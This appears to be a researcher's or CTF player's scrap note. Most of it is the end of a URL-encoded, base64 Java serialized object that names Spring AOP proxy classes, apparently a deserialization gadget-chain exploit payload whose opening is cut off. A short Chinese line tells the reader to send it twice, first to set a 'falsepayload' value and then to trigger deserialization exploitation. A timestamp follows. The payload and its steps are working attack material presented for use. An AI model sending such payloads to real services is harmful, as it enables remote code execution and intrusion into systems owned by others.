%2FAAAAAwAAAAGxAAAAAgA%2FAAAABgABAAAASgBAAAAAIAADAAAAAQBDAEIAAAAAAAEAdgB3AAEAAAABAHgAeQACAFoAAAAEAAEAegABAHQAewACAD4AAABJAAAABAAAAAGxAAAAAgA%2FAAAABgABAAAATwBAAAAAKgAEAAAAAQBDAEIAAAAAAAEAdgB3AAEAAAABAHwAfQACAAAAAQB%2BAH8AAwBaAAAABAABAHoAAgCAAAAAAgCBAEwAAAASAAIADwCUAEsACQCeAJQA4gYJcHQACFNxdWlydDFlcHcBAHh1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAN2cgAjb3JnLnNwcmluZ2ZyYW1ld29yay5hb3AuU3ByaW5nUHJveHkAAAAAAAAAAAAAAHhwdnIAKW9yZy5zcHJpbmdmcmFtZXdvcmsuYW9wLmZyYW1ld29yay5BZHZpc2VkAAAAAAAAAAAAAAB4cHZyAChvcmcuc3ByaW5nZnJhbWV3b3JrLmNvcmUuRGVjb3JhdGluZ1Byb3h5AAAAAAAAAAAAAAB4cA%3D%3D%22%3A%22%22%7D%7D%7D

用这个payload打两次即可,第一次赋值falsepayload,第二次反序列化利用。

1700660237449